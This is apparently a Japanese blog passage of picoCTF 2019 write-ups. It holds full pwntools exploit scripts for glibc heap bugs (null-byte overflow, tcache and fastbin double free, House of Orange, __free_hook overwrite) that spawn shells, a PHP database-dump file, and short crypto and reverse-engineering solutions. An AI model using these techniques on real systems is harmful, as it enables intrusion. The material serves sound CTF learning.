関数名のbadreadで分かるように脆弱性がある。b[s]にNUL文字を書き込んでしまう。これによって、後続のチャンクのサイズの下位1バイトを00で上書きして、未使用チャンクと認識させることができ、チャンクの統合処理をバグらせられる。

この攻撃をする場合、チャンクのサイズが変化しないように次のチャンクは0x100にしたいところだけど、いやらしいことにこの問題ではそれができない。「1. Write on one side?」を選ぶと選択できるサイズは0xf0以下、「2. Write on both sides?」を選ぶと0x110以上。0xf8にすると「don't waste pages -_-」と怒られるw

次のチャンクの中身は好きに書き換えられるので、大きめに確保してチャンクとして正しい状態になるように書き込む。

また、上記の記事と違ってtcacheが有効なので、各サイズ7個までは統合の対象にならない。tcacheを埋めたり空にしたりする必要がある。ここでもサイズ0x100のチャンクは普通には作れないので、00の上書きで作る。

attack.py
# coding: utf-8

from pwn import *

elf = ELF("ghostdiary")
context.binary = elf
#context.log_level = "debug"

s = process("./ghostdiary")
#s = remote("localhost", 7777)

def create(size):
  assert size<=0xf0 or 0x110<=size<=0x1e0

  s.sendlineafter("> ", "1")
  if size<=0xf0:
    s.sendlineafter("> ", "1")
  else:
    s.sendlineafter("> ", "2")
  s.sendlineafter("size: ", str(size))
  return int(s.recvline()[6:-1])

def write(page, content):
  s.sendlineafter("> ", "2")
  s.sendlineafter("Page: ", str(page))
  s.sendlineafter("Content: ", content)

def read(page):
  s.sendlineafter("> ", "3")
  s.sendlineafter("Page: ", str(page))
  return s.recvline()[9:-1]

def delete(page):
  s.sendlineafter("> ", "4")
  s.sendlineafter("Page: ", str(page))

# サイズ0x100のtcacheを埋める
for i in range(7):
  A = create(0x18)
  B = create(0x118)
  write(A, (
    "a"*0x10 +
    pack(0x20)))
  delete(B)

T = []
for i in range(7):
  T += [create(0x118)]

A = create(0x118)
B = create(0x18)
C = create(0x118)
X = create(0x18)

# サイズ0x120のtcacheを埋める
for t in T:
  delete(t)

delete(A)
# Cのsizeを0x121から0x100に書き換え
write(B, (
  "a"*0x10 +
  pack(0x140)))
# サイズ0x100と0x20の2個のチャンクと同じ状態にする
write(C, (
  "a"*0xf8 +
  pack(0x21)))
delete(C)

# サイズ0x120のtcacheを空にする
for i in range(7):
  create(0x118)

A = create(0x118)
unsort = read(B)
unsort = unpack(unsort.ljust(8, "\0"))
print "unsort: %x"%unsort

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc.address = unsort - (0x3ebc40+0x60)

# サイズ0x20のチャンクを要求するとBと同じアドレスが返る
B2 = create(0x18)
# double free
delete(B)
delete(B2)

# tcacheからの取り外しを利用して、__free_hookにsystemを代入
B = create(0x18)
write(B, pack(libc.symbols.__free_hook))
B = create(0x18)
B = create(0x18)
write(B, pack(libc.symbols.system))

# free("/bin/sh")がsystem("/bin/sh")となる
B = create(0x18)
write(B, "/bin/sh")
delete(B)

s.interactive()

pwntools無しで書くのは面倒だなと思ったけど、問題サーバーにはpwntoolsが入っていた。

$ python ~/attack.py 
[*] '/problems/ghost-diary_2_e8bb7752718f21f9419b1c475a2d06b4/ghostdiary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './ghostdiary': pid 2177173
unsort: 7fdc7565eca0
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ cat flag.txt
picoCTF{nu11_byt3_Gh05T_13c40705}

picoCTF{nu11_byt3_Gh05T_13c40705}

cereal hacker 2 - Points: 500 - (Solves: 269)

コンテスト終了後に解いた。

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195

ヒントは無し。

cereal hacker 1とほぼ同じ。任意のコードが実行できるのでDBを読めば良い。

kusano_dumpdb2.php
<?php

require_once('../sql_connect.php');

$result = $sql_conn_login->query("SELECT * FROM pico_ch2.users");
while($row = $result->fetch_assoc())
  var_dump($row);
$ cat > /tmp/kusano_dumpdb2.php
 :
$ chmod a+r /tmp/kusano_dumpdb2.php

とサーバーに書き込んでおいて、下記のURLを開く。

array(4) {
  ["id"]=>
  string(1) "1"
  ["username"]=>
  string(5) "admin"
  ["password"]=>
  string(41) "picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}"
  ["admin"]=>
  string(1) "1"
}
array(4) {
  ["id"]=>
  string(1) "2"
  ["username"]=>
  string(12) "regular_user"
  ["password"]=>
  string(32) "b283531e09ee2228b7a16249ea91c4b3"
  ["admin"]=>
  string(1) "0"
}
array(4) {
  ["id"]=>
  string(1) "3"
  ["username"]=>
  string(11) "red_herring"
  ["password"]=>
  string(32) "7cef39bd6db2122e3309dbef4b86cca8"
  ["admin"]=>
  string(1) "0"
}

想定解法はblind SQL injectionかな。

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

droids4 - Points: 500 - Solves: 339 - Reverse Engineering

reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.

ヒントは無し。

FlagstaffHill.java
package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{
  public static native String cardamom(String paramString);

  public static String getFlag(String paramString, Context paramContext)
  {
    paramContext = new StringBuilder("aaa");
    StringBuilder localStringBuilder1 = new StringBuilder("aaa");
    StringBuilder localStringBuilder2 = new StringBuilder("aaa");
    StringBuilder localStringBuilder3 = new StringBuilder("aaa");
    paramContext.setCharAt(0, (char)(paramContext.charAt(0) + '\004'));
    paramContext.setCharAt(1, (char)(paramContext.charAt(1) + '\023'));
    paramContext.setCharAt(2, (char)(paramContext.charAt(2) + '\022'));
    localStringBuilder1.setCharAt(0, (char)(localStringBuilder1.charAt(0) + '\007'));
    localStringBuilder1.setCharAt(1, (char)(localStringBuilder1.charAt(1) + '\000'));
    localStringBuilder1.setCharAt(2, (char)(localStringBuilder1.charAt(2) + '\001'));
    localStringBuilder2.setCharAt(0, (char)(localStringBuilder2.charAt(0) + '\000'));
    localStringBuilder2.setCharAt(1, (char)(localStringBuilder2.charAt(1) + '\013'));
    localStringBuilder2.setCharAt(2, (char)(localStringBuilder2.charAt(2) + '\017'));
    localStringBuilder3.setCharAt(0, (char)(localStringBuilder3.charAt(0) + '\016'));
    localStringBuilder3.setCharAt(1, (char)(localStringBuilder3.charAt(1) + '\024'));
    localStringBuilder3.setCharAt(2, (char)(localStringBuilder3.charAt(2) + '\017'));
    if (paramString.equals("".concat(localStringBuilder2.toString()).concat(localStringBuilder1.toString()).concat(paramContext.toString()).concat(localStringBuilder3.toString()))) {
      return "call it";
    }
    return "NOPE";
  }
}

alphabetsoupならばcall itとなる。cardamom("alphabetsoup")が答えでしょう。

solve.py
A = [
  0x11, 0x05, 0x13, 0x07, 0x22, 0x36, 0x23, 0x0f,
  0x1d, 0x00, 0x01, 0x5e, 0x11, 0x0d, 0x02, 0x1c,
  0x08, 0x01, 0x10, 0x18, 0x12, 0x1d, 0x19, 0x09,
  0x4f, 0x1f, 0x19, 0x04, 0x0d, 0x1b, 0x18,
]
B = map(ord, "alphabetsoup")
for i in range(len(A)):
  A[i] ^= B[i%len(B)]
print "".join(map(chr, A))

picoCTF{not.particularly.silly}

john_pollard - Points: 500 - Solves: 754 - Cryptography

Sometimes RSA certificates are breakable

The flag is in the format picoCTF{p,q}
Try swapping p and q if it does not work

$ openssl x509 -text < cert
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
        Signature Algorithm: md2WithRSAEncryption
        Issuer: CN = PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU = PicoCTF, O = PicoCTF, L = PicoCTF, ST = PicoCTF, C = US, CN = PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f
-----BEGIN CERTIFICATE-----
MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe
Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D
VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT
B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI
hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH
al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA
eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO
T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1
BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt
b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz
q16/S1WLvzg4PsElmv1f
-----END CERTIFICATE-----
$ factor 4966306421059967 
4966306421059967: 67867967 73176001

picoCTFは多人数で作っているからか、問題の難易度と点数が一致していないように思う。この問題とこの前後のpwnable問題が同じ点数とは……。

picoCTF{73176001,67867967}

sice_cream - Points: 500 - Solves: 29 - Binary Exploitation

Just pwn this program and get a flag. Connect with nc 2019shell1.picoctf.com 38495. libc.so.6 ld-2.23.so.

Make sure to both files are in the same directory as the executable, and set LD_PRELOAD to the path of libc.so.6

私に見えている問題の中では最も解答者が少ない。

$ ./sice_cream
Welcome to the Sice Cream Store!
We have the best sice cream in the world!
Whats your name?
> aaaaaaaaa
1. Buy sice cream
2. Eat sice cream
3. Reintroduce yourself
4. Exit
> 1
How much sice cream do you want?
> 10
What flavor?
> hoge
Here you go!
1. Buy sice cream
2. Eat sice cream
3. Reintroduce yourself
4. Exit
> 2
Which sice cream do you want to eat?
> 0
Yum!
1. Buy sice cream
2. Eat sice cream
3. Reintroduce yourself
4. Exit
> 3
What's your name again?
> bbb
Ah, right! How could a forget a name like bbb
aaaaa
!
1. Buy sice cream
2. Eat sice cream
3. Reintroduce yourself
4. Exit
> 4
Too hard? ;)

「How much sice cream」の意味が分からないが、解析すると次のflavor用のメモリのサイズ。良くあるpwnableと違って、mallocで確保したメモリの中身を出力する処理が無い。出力は「3. Reintroduce yourself」でしか得られない。NUL文字を追加せずに読み込み、putsで書き出すので、短い名前を指定すれば後ろの内容が出てくる。

脆弱性はdouble free。「2. Eat sice cream」でメモリを解放した後にNULLを代入していない。

まずはlibcのアドレスをリークしたい。そのためにはチャンクをfastbinに繋ぐのではダメで、unsorted binに繋ぎたい……が、確保できるメモリの最大サイズは88バイトでfastbinにしか入らない。Double freeで名前用のアドレスをmallocに返させ、名前変更処理でチャンクのサイズを書き換えて、unsorted binに入れる。これで名前を読み出せばfdからunsorted binのアドレスが得られる。

attack.py
# coding: utf-8
from pwn import *

elf = ELF("sice_cream")
context.binary = elf
#context.log_level = "debug"

#s = process("./sice_cream")
#s = remote("localhost", 7777)
s = remote("2019shell1.picoctf.com", 38495)

def buy(d):
  s.sendafter("> ", "1")
  s.sendafter("> ", str(len(d)))
  s.sendafter("> ", d)

def eat(i):
  s.sendafter("> ", "2")
  s.sendafter("> ", str(i))

def rename(n):
  s.sendafter("> ", "3")
  s.sendafter("> ", n)
  return s.recvline()[42:-2]

# libcのアドレスの取得

# 偽の未使用チャンク
s.sendafter("> ", (
  pack(0x00000000) +
  pack(0x00000021) +
  pack(0x00000000) +
  pack(0x00000000)))

# double free
buy("a"*0x8)
buy("a"*0x8)
eat(0)
eat(1)
eat(0)

# 0x00602040をmallocで返す
buy(pack(0x00602040))
buy("a"*0x8)
buy("a"*0x8)
buy("a"*0x8)

# サイズ0x90の使用済みチャンクに書き換え
rename(
  pack(0x00000000) +
  pack(0x00000091) +
  "a"*0x88 +
  pack(0x00000021) +
  "a"*0x18 +
  pack(0x00000021))

# free
eat(5)

# fdからunsorted binのアドレスを取得
unsort = rename("a"*16)[16:]
unsort = unpack(unsort.ljust(8, "\0"))
print "unsort: %x"%unsort
 :

得られたlibcのアドレスで何をするか。tcacheならば楽に攻撃ができるけれど、libcが2.23なので無い。近くに0x7fがある__malloc_hookを書き換えるのが定番のようだが、そのためにはmallocに89バイト以上を指定できる必要がある。この問題では88バイト以下。いやらしい……。

最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか

House of Orangeという手を使う。

理解し切れていないのだけど、size = 0x61bk = _IO_list_all-0x10のチャンクをunsorted binに繋ぐ。この状態でfastbinなどにチャンクが無いサイズのmallocを呼び出すとunsorted binを双方向リストのbk側から順に取り外す処理が走り、_IO_list_all = unsorted_chunks (av)となる。このチャンク自体はsmallbinに入る。次に、(unsorted binに繋がれた)_IO_list_allを取り外す処理があるけれど、これは当然コケて、プログラムが強制終了される。ここで、開いていたファイルのflushが行われ、このとき_IO_list_allが指しているmallocの管理領域が、本来指しているべき構造体として見たときに良い感じになっていて、system("/bin/sh")が実行されるらしい。

attack.py
 :

libc = ELF("libc.so.6")
libc.address = unsort - 0x3c4b78

rename(
  "/bin/sh\0" +
  pack(0x00000061) +

  pack(0x00000000) +
  pack(libc.symbols._IO_list_all-0x10) +

  pack(0x00000000) +
  pack(0x00000001) +

  "\0"*0xa0 +

  pack(0x00000000) +
  pack(0x00602040+0xe0) +

  pack(0x00000000) +
  pack(0x00000000) +
  pack(0x00000000) +
  pack(libc.symbols.system))

# バッファサイズを入力した段階でsystem("/bin/sh")が実行されるので、buyは使わない
#buy("a")
s.sendafter("> ", "1")
s.sendafter("> ", "1")

s.interactive()
$ python attack.py
[*] '/mnt/d/documents/ctf/picoCTF2019/sice_cream/sice_cream'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  './'
[+] Opening connection to 2019shell1.picoctf.com on port 38495: Done
unsort: 7f53cbeb6b78
[*] '/mnt/d/documents/ctf/picoCTF2019/sice_cream/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
*** Error in `/problems/sice-cream_4_7ef8903b2c31d9f08c4ad7bcdcb5f0d3/sice_cream': malloc(): memory corruption: 0x00007f53cbeb7520 ***
======= Backtrace: =========
./libc.so.6(+0x777e5)[0x7f53cbb697e5]
./libc.so.6(+0x8213e)[0x7f53cbb7413e]
 :
7fff211da000-7fff211dc000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ ls -al
total 2084
drwxr-x---   2 hacksports sice-cream_4    4096 Oct  3 03:35 .
drwxr-x--x 684 root       root           69632 Oct 10 18:02 ..
-r--r-----   1 hacksports sice-cream_4      66 Sep 28 22:03 flag.txt
-rwxr-sr-x   1 hacksports sice-cream_4  162632 Sep 28 14:53 ld-2.23.so
-rwxr-sr-x   1 hacksports sice-cream_4 1868984 Sep 28 14:53 libc.so.6
-rwxr-sr-x   1 hacksports sice-cream_4   10152 Sep 28 14:53 sice_cream
-rwxr-sr-x   1 hacksports sice-cream_4     119 Oct  3 03:35 xinet_startup.sh
$ cat flag.txt
flag{th3_r3al_questi0n_is_why_1s_libc_2.23_still_4_th1ng_ac8fd349}

スタックトーレスが表示された後にsystem("/bin/sh")が実行されるのか。失敗していると思って、しばらく悩んだ。

zero_to_hero - Points: 500 - Solves: 37 - Binary Exploitation

Now you're really cooking. Can you pwn this service?. Connect with nc 2019shell1.picoctf.com 12287. libc.so.6 ld-2.29.so

Make sure to both files are in the same directory as the executable, and set LD_PRELOAD to the path of libc.so.6

この問題は面白かった。

$ ./zero_to_hero
From Zero to Hero
So, you want to be a hero?
y
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7f80f0e72fd0
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 10
Enter your description:
> hoge
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 0
1. Get a superpower
2. Remove a superpower
3. Exit
> 3
Giving up?

「Take this」と渡されるのは、libcのsystemのアドレス。脆弱性は前の問題と同じくdouble free。確保できるメモリの最大サイズは0x408で、最大6回までしかmallocを呼べないので、常にtcacheを使うことになる。

tcacheのdouble freeならば簡単に攻撃できるかと思いきや、libcが2.29なのでtcacheにdouble freeのチェックが入っている。freeの呼び出し時、(単方向リストでは使われない)bkにtcacheの管理領域のアドレスが代入される。freeに渡されたチャンクはbkをチェックされて、管理領域のアドレスが入っていたら、該当するサイズのtcacheを全て舐めて同じアドレスが無いか確認。

さてどうしようと思ったらもう1個脆弱性があった。Off by oneで確保したメモリの後ろ1バイトにNUL文字が書き込める。tcacheに入ったチャンクのサイズを書き換えてからdouble freeすれば、tcacheのdouble freeのチェックを逃れられる。

あとはmalloc__free_hookのアドレスを返させて、systemのアドレスを書き込めば良い。mallocの回数制限がギリギリなので、freeに渡す"/bin/sh"が書き込まれたチャンクは途中で用意しておく。

attack.py
# coding: utf-8
from pwn import *

elf = ELF("zero_to_hero")
context.binary = elf

#s = process("./zero_to_hero")
s = remote("2019shell1.picoctf.com", 12287)

def get(n, d):
  s.sendlineafter("> ", "1")
  s.sendlineafter("> ", str(n))
  s.sendafter("> ", d)

def remove(i):
  s.sendlineafter("> ", "2")
  s.sendlineafter("> ", str(i))

s.sendafter("?\n", "y")
s.recvline()
s.recvline()
system = eval(s.recvline().split()[-1])

get(0x18, "a")
get(0x108, "a")
remove(1)
remove(0)
# 2個目のチャンクのサイズを0x110から0x100に書き換え
get(0x18, "a"*0x18)
remove(1)

libc = ELF("libc.so.6")
libc.address = system - libc.symbols.system

# __free_hook = system
get(0x108, pack(libc.symbols.__free_hook))
get(0xf8, "/bin/sh")
get(0xf8, pack(libc.symbols.system))

# free("/bin/sh") (= system("/bin/sh"))
remove(4)

s.interactive()
$ python attack.py
[*] '/mnt/d/documents/ctf/picoCTF2019/zero_to_hero/zero_to_hero'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  './'
[+] Opening connection to 2019shell1.picoctf.com on port 12287: Done
[*] '/mnt/d/documents/ctf/picoCTF2019/zero_to_hero/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ cat flag.txt
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_pjtxfhet}

この問題も前の問題も、バイナリ中に指定したファイルの中身を出力する関数があるけど、使ってないな。

picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_pjtxfhet}

21
17
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
21
17